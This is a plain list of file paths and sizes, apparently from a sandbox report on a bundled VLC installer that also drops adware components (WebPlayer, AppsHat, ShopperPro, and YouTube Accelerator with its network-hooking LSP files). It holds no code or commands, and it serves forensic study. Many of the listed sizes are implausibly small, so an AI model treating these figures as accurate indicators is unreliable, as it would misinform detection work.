%Program Files% (x86)\VideoLAN\VLC\plugins\misc\liblogger_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\NEWS.txt (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ml\LC_MESSAGES\vlc.mo (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\play_pause.png (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_06.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_events.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\common.js (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\soundcloud.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc-cache-gen.exe (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.lib (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tospdif_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_yuy2_mmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libwav_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pa\LC_MESSAGES\vlc.mo (11048 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFC98.tmp\UAC.dll (30 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_right.png (91 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\stop.png (80 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\winamp2.xml (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dummy.luac (819 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_mixer.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\break.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\vlm (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\simplexml.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hu\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nn\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_tcp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\br\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_configuration.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_dialog.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libexport_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sout.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist_jstree.xml (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-1.5.1.min.js (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hy\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\reader\filename.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fr\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-ui-1.8.13.custom.min.js (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\bw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi422_yuy2_mmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\eu\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tofloat32_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\extreme.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_ftp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_up.png (112 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm.xml (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_modules.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libidummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_httpd.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ff\LC_MESSAGES\vlc.mo (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFC98.tmp\modern-wizard.bmp (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pinkbike.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png (201 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\af\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\wa\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlccore.dll (68506 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_view.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\th\LC_MESSAGES\vlc.mo (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libxml_plugin.dll (35001 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fourcc.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sout.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\repeat.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_udp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nl\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sort.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaraw_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\canalplus.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block_helper.h (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlc.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\.hosts (122 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png (103 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\info.png (142 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default.cfg (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sk\LC_MESSAGES\vlc.mo (21216 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_codec.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ja\LC_MESSAGES\vlc.mo (23296 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_image.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\he\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_http.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\default.vlt (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\koreus.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_mms_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ne\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.lib (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_stream.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_art_finder.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_network.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mtime.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white_cross_small.png (96 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\equalizer_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete_small.png (94 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_cpu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libtrivial_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lv\LC_MESSAGES\vlc.mo (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\sandbox.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\playlist (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\my\LC_MESSAGES\vlc.mo (444 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ru\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hr\LC_MESSAGES\vlc.mo (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_file_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfloat32_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\lelombrik.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\Documentation.url (55 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\librtp_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo (6584 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Release Notes.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSans.ttf (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\next.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_09.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lt\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc.h (15 bytes)
C:\Users\Public\Desktop\VLC media player.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\http.luac (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_epg.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\fullscreen.png (121 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png (95 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ckb\LC_MESSAGES\vlc.mo (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kmr\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gl\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ko\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\snapshot.png (206 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_acl.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_rar_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\id\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_access.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\COPYING.txt (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sd.png (116 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_livehttp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libmemcpy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_point.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\New_Skins.url (64 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\pause.png (82 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\vimeo.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_player.h (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\.hosts (289 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ta\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_config_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ro\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\00_musicbrainz.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\uk\LC_MESSAGES\vlc.mo (25824 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_filter.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\shuffle.png (110 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liba52_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvoc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\metachannels.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Audio-48.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_bar.png (86 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube_homepage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstofloat32_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libscreen_plugin.dll (1552 bytes)
%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\storage.js (979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\WebPlayer.exe (7533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\initialize.js (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\common.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\initialize.js (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\main.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\main.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (843 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\jsonstorage.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\config.xml (823 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\json.js (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\shortcut.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\web_player.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\installer.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\xhr.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\tray.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\stub.html (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\event_listener.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\utils.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsqF68F.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\io.js (751 bytes)
C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe (858187 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsf4818.tmp (10027 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsf4819.tmp\webplayer_installer.exe (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsf4819.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsf4819.tmp\appshat.exe (916974 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsf4819.tmp\inetc.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlc-qt-interface.ini (25 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.944 (45012 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlcrc.944 (11109 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_26517\ins_yta.exe (33299 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_26517\ins_postInst.exe (3247 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\default_config.json (791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\64x64[1].ico (5152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\shortcut.ico (6242 bytes)
C:\Users\"%CurrentUserName%"\Desktop\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\main.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\16x16[1].ico (1150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\config.xml (819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\Uninstall.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\tray.ico (1 bytes)
C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1024 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLG3B30.tmp (91110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (24 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (5381 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJ3321.tmp (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe (44331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (4742 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLC3311.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLK3525.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLM3729.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLF3B31.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
